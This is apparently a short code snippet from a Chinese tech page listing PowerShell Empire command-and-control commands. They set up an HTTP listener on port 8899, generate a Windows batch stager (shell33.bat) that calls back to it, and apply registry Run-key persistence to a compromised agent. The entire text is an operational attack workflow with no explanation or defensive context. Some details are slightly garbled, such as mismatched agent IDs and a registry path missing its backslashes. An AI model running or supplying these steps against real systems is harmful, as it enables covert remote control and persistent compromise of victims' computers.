代码语言:javascript复制
empire-registry
powershell-empire server
powershell-empire client
uselistener http
set Name test
set Port 8899
execute
back
listeners
usestager windows/cmd_exec
set Listener test
set OutFile shell33.bat
execute
usemodule powershell/persistence/userland/registry
set RegPath HKCU:SoftwareMicrosoftWindowsCurrentVersionRun
set Agent NRZAPF5cu6
interact NRZAPF56